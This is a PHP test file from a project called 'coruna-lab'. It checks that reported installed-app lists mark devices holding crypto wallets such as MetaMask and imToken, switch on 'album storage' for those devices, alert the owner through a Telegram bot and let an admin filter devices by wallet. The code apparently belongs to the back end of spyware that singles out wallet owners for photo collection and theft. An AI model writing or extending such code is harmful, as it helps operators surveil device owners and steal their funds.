Files
coruna-lab/tests/Feature/DeviceWalletFlagTest.php
T
2026-08-30 23:36:30 +08:00

138 lines
5.3 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceWalletFlagTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function new_device_wallet_flag_is_unknown(): void
{
$device = Device::query()->create(['device_id' => 'dev-wallet-unknown']);
$this->assertSame(Device::WALLET_UNKNOWN, (int) $device->has_wallet);
$this->assertSame([], $device->walletNameList());
}
#[Test]
public function applist_without_plugin_wallets_marks_none(): void
{
$device = Device::query()->create(['device_id' => 'dev-wallet-none']);
$this->assertFalse($device->albumStorageEnabled());
app(IngestService::class)->ingestInstalledApps($device, [
'al' => [
['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '17'],
['a' => 'Foo Wallet', 'b' => 'com.foo.somecoinwallet', 'v' => '1'],
['a' => 'Telegram', 'b' => 'ph.telegra.Telegraph', 'v' => '10'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
$this->assertFalse($device->albumStorageEnabled());
$this->assertSame([], $device->walletNameList());
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet'));
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet'));
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.apple.mobilesafari')->value('is_wallet'));
}
#[Test]
public function applist_with_plugin_wallets_marks_yes_and_notifies_once(): void
{
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
$device = Device::query()->create(['device_id' => 'dev-wallet-yes']);
$this->assertFalse($device->albumStorageEnabled());
$ingest = app(IngestService::class);
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'Safari', 'b' => 'com.apple.mobilesafari'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
$this->assertFalse($device->albumStorageEnabled());
Http::assertNothingSent();
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
['a' => 'imToken', 'b' => 'im.token.app'],
],
]);
$device->refresh();
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertTrue($device->albumStorageEnabled());
$this->assertSame(['MetaMask', 'imToken'], $device->walletNameList());
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'Trust', 'b' => 'com.sixdays.trust'],
],
]);
$device->refresh();
$this->assertSame(['MetaMask', 'Trust Wallet', 'imToken'], $device->walletNameList());
$walletAlerts = 0;
Http::assertSent(function ($request) use (&$walletAlerts) {
$text = (string) ($request->data()['text'] ?? '');
if (str_contains($text, '已安装钱包')) {
$walletAlerts++;
$this->assertStringContainsString('MetaMask', $text);
$this->assertStringContainsString('imToken', $text);
}
return true;
});
$this->assertSame(1, $walletAlerts);
}
#[Test]
public function admin_can_filter_devices_by_wallet_flag(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'dev-unknown', 'has_wallet' => Device::WALLET_UNKNOWN]);
Device::query()->create(['device_id' => 'dev-none', 'has_wallet' => Device::WALLET_NONE]);
Device::query()->create([
'device_id' => 'dev-yes',
'has_wallet' => Device::WALLET_YES,
'wallet_names' => ['MetaMask', 'TronLink'],
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_YES]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-yes')
->assertJsonPath('data.0.has_wallet', Device::WALLET_YES)
->assertJsonPath('data.0.wallet_names', ['MetaMask', 'TronLink']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_NONE]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-none');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_UNKNOWN]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-unknown');
}
}